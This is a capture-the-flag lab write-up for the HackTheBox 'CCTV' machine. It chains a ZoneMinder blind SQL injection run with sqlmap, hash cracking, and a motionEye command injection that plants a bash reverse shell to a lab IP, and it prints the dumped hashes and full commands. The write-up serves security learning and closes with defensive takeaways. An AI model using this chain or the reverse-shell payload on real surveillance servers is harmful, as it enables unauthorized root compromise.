CCTV (Retired Box)
Active HackTheBox Challenge
This challenge is currently active on HackTheBox. According to HTB's content policy, sharing writeups of active challenges is prohibited.
This writeup will be made publicly available once the challenge is retired.
Need the password? Join the Discord community:
Box Info
| Field | Detail |
|---|---|
| Name | CCTV |
| OS | Linux (Ubuntu 24.04) |
| Difficulty | Easy |
| Release | 2026-03-07 |
| Retire | TBD |
Overview
CCTV is an Easy Linux box running two surveillance platforms — a public-facing ZoneMinder 1.37.63 instance and an internal motionEye 0.43.1b4 service running as root. I’ll exploit CVE-2024-51482, a time-based blind SQL injection in ZoneMinder’s event tag removal endpoint, to dump bcrypt password hashes from the database. After cracking the hash for user mark with John the Ripper and SSHing in, I’ll tunnel to the internal motionEye interface, bypass its JavaScript input validation, and inject a reverse shell into the Image File Name configuration field. Triggering a snapshot via the motion daemon’s local API fires the payload and lands a root shell.
Recon
Initial Scanning
nmap finds two open TCP ports — 22 and 80:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(sicario㉿kali)-[~/HacktheBox/CCTV]
└─$ sudo nmap -p- --min-rate 10000 -vvv 10.129.1.129
[snip]
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
[snip]
┌──(sicario㉿kali)-[~/HacktheBox/CCTV]
└─$ sudo nmap -p 22,80 -sCV -oN nmap/cctv.txt 10.129.1.129
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
The OpenSSH version (9.6p1 on Ubuntu 3ubuntu13.14) places this firmly on Ubuntu 24.04 Noble. The TTL of 63 confirms Linux with one hop between us. Port 80 redirects to http://cctv.htb/ — virtual host routing is in play, so the first order of business is adding that to /etc/hosts.
1
2
┌──(sicario㉿kali)-[~/HacktheBox/CCTV]
└─$ echo "10.129.1.129 cctv.htb" | sudo tee -a /etc/hosts
Enumeration
TCP 80 — HTTP / ZoneMinder
Browsing to http://cctv.htb reveals a corporate landing page for SecureVision, a fictional CCTV monitoring company. There’s a “Staff Login” button in the top right — clicking it redirects to http://cctv.htb/zm/, a ZoneMinder login portal.
The ZoneMinder version is visible in the top-right corner of the interface after login: v1.37.63. Default credentials admin:admin work straight away, dropping us into the ZoneMinder dashboard with full admin access.
ZoneMinder API Enumeration
With a working session, I’ll authenticate curl using a saved cookie jar for all subsequent API interaction:
1
2
3
4
5
6
7
8
9
┌──(sicario㉿kali)-[~/HacktheBox/CCTV]
└─$ curl -s -c cookies.txt -b cookies.txt \
-X POST "http://cctv.htb/zm/index.php" \
-d "username=admin&password=admin&action=login&view=console" \
-L -o /dev/null
┌──(sicario㉿kali)-[~/HacktheBox/CCTV]
└─$ curl -s -b cookies.txt "http://cctv.htb/zm/api/host/getVersion.json"
{"version":"1.37.63","apiversion":"2.0"}
The API is live and authenticated. Version 1.37.63 falls squarely within the range affected by CVE-2024-51482 — a boolean/time-based blind SQL injection in web/ajax/event.php via the tid parameter in the removetag action, affecting all ZoneMinder 1.37.x releases through 1.37.64.
Note: I also attempted CVE-2023-26035 (unauthenticated snapshot RCE) and the
daemonControlAPI injection path — both were dead ends on this version. CVE-2023-26035 was patched in 1.37.33, and the daemonControl endpoint returned argument count errors regardless of how the parameters were structured. The Python PoC script from BridgerAlderson (CVE-2024-51482) was also tested but proved unreliable — its column enumeration returned garbled output and--dumpreturned zero rows.sqlmapwas the reliable path.
Foothold
CVE-2024-51482 — Blind SQL Injection via sqlmap
The injection point is the tid GET parameter on the event tag removal endpoint. I’ll use sqlmap with the authenticated session cookie, targeting MySQL with time-based blind technique:
1
2
3
4
5
┌──(sicario㉿kali)-[~/HacktheBox/CCTV]
└─$ sqlmap -u "http://cctv.htb//zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=<session-id>" \
-p tid --dbms=mysql --batch \
-D zm -T Users -C "Username,Password" --dump
sqlmap confirms the injection and begins extracting data character by character via SLEEP-based timing. After several minutes it dumps three user records:
1
2
3
4
5
6
7
8
9
10
Database: zm
Table: Users
[3 entries]
+------------+--------------------------------------------------------------+
| Username | Password |
+------------+--------------------------------------------------------------+
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| mark | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
| admin | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |
+------------+--------------------------------------------------------------+
All three are bcrypt hashes ($2y$10$). mark is the most likely system user — I’ll focus cracking effort there.
Hash Cracking
1
2
3
4
5
6
7
8
┌──(sicario㉿kali)-[~/HacktheBox/CCTV]
└─$ echo '$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.' > mark.txt
┌──(sicario㉿kali)-[~/HacktheBox/CCTV]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt mark.txt
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
opensesame (?)
1g 0:00:01:52 DONE
mark:opensesame — cracked in under two minutes.
SSH Access
1
2
┌──(sicario㉿kali)-[~/HacktheBox/CCTV]
└─$ ssh mark@10.129.1.129
We’re in as mark.
User Flag
User flag is not on /home/mark/ and /home/sa_mark/ is not accessible so we must explore the system for other attack vectors.
Privilege Escalation
Internal Service Enumeration
mark has no sudo privileges. Checking internal listeners reveals a busy local-only port landscape:
1
2
3
4
5
6
7
mark@cctv:~$ ss -tlnp
LISTEN 127.0.0.1:7999 # motion webcontrol
LISTEN 127.0.0.1:8765 # motionEye web UI
LISTEN 127.0.0.1:8554 # RTSP stream
LISTEN 127.0.0.1:1935 # RTMP stream
LISTEN 127.0.0.1:9081 # camera stream
LISTEN 127.0.0.1:3306 # MySQL
Port 8765 is the motionEye web interface. Port 7999 is the motion daemon’s local webcontrol API — this is important for triggering actions later.
motionEye Configuration
1
2
3
mark@cctv:~$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
The admin password is stored as a SHA1 hash. Cracking it with John:
1
2
┌──(sicario㉿kali)-[~/HacktheBox/CCTV]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha1 motion.hash
With the cracked password in hand, I’ll tunnel port 8765 to my Kali machine:
1
2
┌──(sicario㉿kali)-[~/HacktheBox/CCTV]
└─$ ssh -L 8765:127.0.0.1:8765 -L 7999:127.0.0.1:7999 mark@10.129.1.129
Browsing to http://127.0.0.1:8765 presents the motionEye login. Version confirmed: motionEye 0.43.1b4, Motion 4.7.1, Ubuntu 24.04.
CVE-2025-60787 — Command Injection via Image File Name
motionEye passes the picture_filename configuration value directly to the motion daemon, which evaluates it as a shell expression when saving images. The web UI applies client-side JavaScript validation to block shell metacharacters — but this is trivially bypassed in the browser console.
Step 1 — Open DevTools (F12) → Console and override the validation function:
1
configUiValid = function() { return true; };
Step 2 — Navigate to Still Images → Image File Name and replace the default value with:
1
$(bash -c 'bash -i >& /dev/tcp/10.10.16.35/9001 0>&1').%Y-%m-%d-%H-%M-%S
The original date pattern is appended after the injection so the field doesn’t appear obviously broken.
Step 3 — Click Apply to write the malicious config.
Step 4 — With a listener ready, trigger a snapshot via the motion webcontrol API:
1
mark@cctv:~$ curl "http://127.0.0.1:7999/1/action/snapshot"
This forces motion to save a picture, evaluating the picture_filename directive — which executes our shell command. The motion daemon runs as root, so the shell lands with full privileges.
1
2
3
4
5
┌──(sicario㉿kali)-[~/HacktheBox/CCTV]
└─$ rlwrap -cAr nc -lnvp 9001
connect to [10.10.16.35] from (UNKNOWN) [10.129.1.129] 41644
root@cctv:/etc/motioneye# id
uid=0(root) gid=0(root) groups=0(root)
User and Root Flag
1
2
root@cctv:/etc/motioneye# cat /root/root.txt
root@cctv:/etc/motioneye# cat /home/sa_mark/user.txt
Tools Used
| Tool | Purpose |
|---|---|
| nmap | Port scanning and service enumeration |
| curl | API interaction and session management |
| sqlmap | Time-based blind SQL injection exploitation |
| John the Ripper | bcrypt and SHA1 hash cracking |
| ssh | Remote access and local port forwarding tunnel |
| nc (rlwrap) | Reverse shell listener |
| Browser DevTools | JavaScript validation bypass in motionEye |
Key Takeaways
Default credentials are always worth trying first: ZoneMinder shipped with
admin:adminand gave us a fully authenticated session, which was the prerequisite for the SQL injection. Never skip the obvious.Time-based blind SQLi is slow but reliable: CVE-2024-51482 required patience — sqlmap spent over 35 minutes extracting three rows via SLEEP timing. Reduce noise by targeting specific databases, tables, and columns from the start rather than running broad discovery scans.
Client-side validation is never a security control: motionEye’s JavaScript validation was the only thing standing between the Image File Name field and arbitrary command execution. A single console override removed it entirely. Any field that reaches a shell-evaluated context server-side must be sanitised server-side.
Internal services running as root are high-value targets: The motion daemon had no reason to run as root. A properly hardened deployment would run it as a dedicated low-privilege service user, containing the blast radius of exactly this class of vulnerability.
SSH local port forwarding is essential for internal service enumeration:
ss -tlnprevealed several localhost-only services invisible from the outside. Tunnelling them through the SSH session is the cleanest way to interact with them using full browser tooling.
Further Reading
- CVE-2024-51482 — ZoneMinder Blind SQL Injection Advisory (GitHub)
- CVE-2025-60787 — motionEye Command Injection (NVD)
- ZoneMinder Official Documentation
- motionEye GitHub Repository
- sqlmap Documentation
- GTFOBins — Unix privilege escalation reference
- PayloadsAllTheThings — SQL Injection
- HackTricks — Blind SQL Injection
- SSH Tunneling Explained — DigitalOcean




